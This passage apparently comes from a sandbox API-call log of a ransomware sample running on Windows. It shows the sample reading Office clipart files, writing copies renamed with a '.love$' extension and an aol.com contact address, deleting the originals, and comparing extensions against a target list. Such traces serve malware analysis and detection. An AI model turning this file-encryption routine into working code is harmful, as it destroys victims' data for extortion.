SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.478] SetEndOfFile (hFile=0x53c) returned 1 [0244.481] CloseHandle (hObject=0x53c) returned 1 [0244.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0244.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0244.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0244.482] lstrlenW (lpString=".doc") returned 4 [0244.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.482] lstrlenW (lpString=".docx") returned 5 [0244.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.482] lstrlenW (lpString=".pdf") returned 4 [0244.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.482] lstrlenW (lpString=".xls") returned 4 [0244.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.483] lstrlenW (lpString=".xlsx") returned 5 [0244.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.483] lstrlenW (lpString=".ppt") returned 4 [0244.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0244.483] lstrlenW (lpString=".zip") returned 4 [0244.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.483] lstrlenW (lpString=".rar") returned 4 [0244.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.483] lstrlenW (lpString=".bz2") returned 4 [0244.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.483] lstrlenW (lpString=".7z") returned 3 [0244.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0244.483] lstrlenW (lpString=".dbf") returned 4 [0244.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0244.483] lstrlenW (lpString=".1cd") returned 4 [0244.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0244.483] lstrlenW (lpString=".jpg") returned 4 [0244.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0244.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0244.483] lstrlenW (lpString=".doc") returned 4 [0244.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.483] lstrlenW (lpString=".docx") returned 5 [0244.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.484] lstrlenW (lpString=".pdf") returned 4 [0244.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.484] lstrlenW (lpString=".xls") returned 4 [0244.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.484] lstrlenW (lpString=".xlsx") returned 5 [0244.484] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.484] lstrlenW (lpString=".ppt") returned 4 [0244.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0244.484] lstrlenW (lpString=".zip") returned 4 [0244.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.484] lstrlenW (lpString=".rar") returned 4 [0244.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.484] lstrlenW (lpString=".bz2") returned 4 [0244.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.484] lstrlenW (lpString=".7z") returned 3 [0244.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0244.484] lstrlenW (lpString=".dbf") returned 4 [0244.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0244.484] lstrlenW (lpString=".1cd") returned 4 [0244.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0244.484] lstrlenW (lpString=".jpg") returned 4 [0244.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.485] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.485] lstrlenW (lpString="DD01772_.WMF") returned 12 [0244.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0244.653] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=2300) returned 1 [0244.653] CloseHandle (hObject=0x418) returned 1 [0244.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220 [0244.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0246.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0247.451] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.451] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0247.453] GetLastError () returned 0x0 [0247.453] ReadFile (in: hFile=0x488, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0247.479] WriteFile (in: hFile=0x538, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x900, lpOverlapped=0x0) returned 1 [0247.480] ReadFile (in: hFile=0x488, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.480] WriteFile (in: hFile=0x538, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.480] SetEndOfFile (hFile=0x538) returned 1 [0247.488] CloseHandle (hObject=0x538) returned 1 [0247.489] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.489] SetEndOfFile (hFile=0x488) returned 1 [0247.540] CloseHandle (hObject=0x488) returned 1 [0247.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0247.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0247.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0247.541] lstrlenW (lpString=".doc") returned 4 [0247.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.541] lstrlenW (lpString=".docx") returned 5 [0247.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.541] lstrlenW (lpString=".pdf") returned 4 [0247.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.542] lstrlenW (lpString=".xls") returned 4 [0247.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.542] lstrlenW (lpString=".xlsx") returned 5 [0247.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.542] lstrlenW (lpString=".ppt") returned 4 [0247.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0247.542] lstrlenW (lpString=".zip") returned 4 [0247.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.542] lstrlenW (lpString=".rar") returned 4 [0247.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.542] lstrlenW (lpString=".bz2") returned 4 [0247.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.542] lstrlenW (lpString=".7z") returned 3 [0247.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0247.542] lstrlenW (lpString=".dbf") returned 4 [0247.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0247.542] lstrlenW (lpString=".1cd") returned 4 [0247.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0247.542] lstrlenW (lpString=".jpg") returned 4 [0247.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0247.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0247.542] lstrlenW (lpString=".doc") returned 4 [0247.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.542] lstrlenW (lpString=".docx") returned 5 [0247.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.542] lstrlenW (lpString=".pdf") returned 4 [0247.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.543] lstrlenW (lpString=".xls") returned 4 [0247.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.543] lstrlenW (lpString=".xlsx") returned 5 [0247.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.543] lstrlenW (lpString=".ppt") returned 4 [0247.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0247.543] lstrlenW (lpString=".zip") returned 4 [0247.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.543] lstrlenW (lpString=".rar") returned 4 [0247.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.543] lstrlenW (lpString=".bz2") returned 4 [0247.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.543] lstrlenW (lpString=".7z") returned 3 [0247.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0247.543] lstrlenW (lpString=".dbf") returned 4 [0247.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0247.543] lstrlenW (lpString=".1cd") returned 4 [0247.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0247.543] lstrlenW (lpString=".jpg") returned 4 [0247.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.543] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.543] lstrlenW (lpString="FD00086_.WMF") returned 12 [0247.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0247.544] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=29212) returned 1 [0247.544] CloseHandle (hObject=0x488) returned 1 [0247.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0247.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0247.545] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.545] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0247.546] GetLastError () returned 0x0 [0247.546] ReadFile (in: hFile=0x488, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x721c, lpOverlapped=0x0) returned 1 [0247.573] WriteFile (in: hFile=0x544, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x7220, lpOverlapped=0x0) returned 1 [0247.575] ReadFile (in: hFile=0x488, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.575] WriteFile (in: hFile=0x544, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.575] SetEndOfFile (hFile=0x544) returned 1 [0247.575] CloseHandle (hObject=0x544) returned 1 [0247.575] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.575] SetEndOfFile (hFile=0x488) returned 1 [0247.582] CloseHandle (hObject=0x488) returned 1 [0247.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0247.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0247.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0247.583] lstrlenW (lpString=".doc") returned 4 [0247.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.583] lstrlenW (lpString=".docx") returned 5 [0247.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.583] lstrlenW (lpString=".pdf") returned 4 [0247.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.584] lstrlenW (lpString=".xls") returned 4 [0247.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.584] lstrlenW (lpString=".xlsx") returned 5 [0247.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.584] lstrlenW (lpString=".ppt") returned 4 [0247.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0247.584] lstrlenW (lpString=".zip") returned 4 [0247.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.584] lstrlenW (lpString=".rar") returned 4 [0247.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.584] lstrlenW (lpString=".bz2") returned 4 [0247.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.584] lstrlenW (lpString=".7z") returned 3 [0247.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0247.584] lstrlenW (lpString=".dbf") returned 4 [0247.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0247.584] lstrlenW (lpString=".1cd") returned 4 [0247.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0247.584] lstrlenW (lpString=".jpg") returned 4 [0247.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0247.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0247.584] lstrlenW (lpString=".doc") returned 4 [0247.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.584] lstrlenW (lpString=".docx") returned 5 [0247.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.584] lstrlenW (lpString=".pdf") returned 4 [0247.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.584] lstrlenW (lpString=".xls") returned 4 [0247.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.585] lstrlenW (lpString=".xlsx") returned 5 [0247.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.585] lstrlenW (lpString=".ppt") returned 4 [0247.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0247.585] lstrlenW (lpString=".zip") returned 4 [0247.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.585] lstrlenW (lpString=".rar") returned 4 [0247.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.585] lstrlenW (lpString=".bz2") returned 4 [0247.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.585] lstrlenW (lpString=".7z") returned 3 [0247.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0247.585] lstrlenW (lpString=".dbf") returned 4 [0247.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0247.585] lstrlenW (lpString=".1cd") returned 4 [0247.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0247.585] lstrlenW (lpString=".jpg") returned 4 [0247.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.585] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.585] lstrlenW (lpString="FD00090_.WMF") returned 12 [0247.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0247.586] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=14194) returned 1 [0247.586] CloseHandle (hObject=0x488) returned 1 [0247.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0247.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0247.587] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.587] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0247.588] GetLastError () returned 0x0 [0247.588] ReadFile (in: hFile=0x488, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x3772, lpOverlapped=0x0) returned 1 [0247.650] WriteFile (in: hFile=0x544, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x3780, lpOverlapped=0x0) returned 1 [0247.652] ReadFile (in: hFile=0x488, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.652] WriteFile (in: hFile=0x544, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.652] SetEndOfFile (hFile=0x544) returned 1 [0247.652] CloseHandle (hObject=0x544) returned 1 [0247.652] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.653] SetEndOfFile (hFile=0x488) returned 1 [0247.655] CloseHandle (hObject=0x488) returned 1 [0247.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft 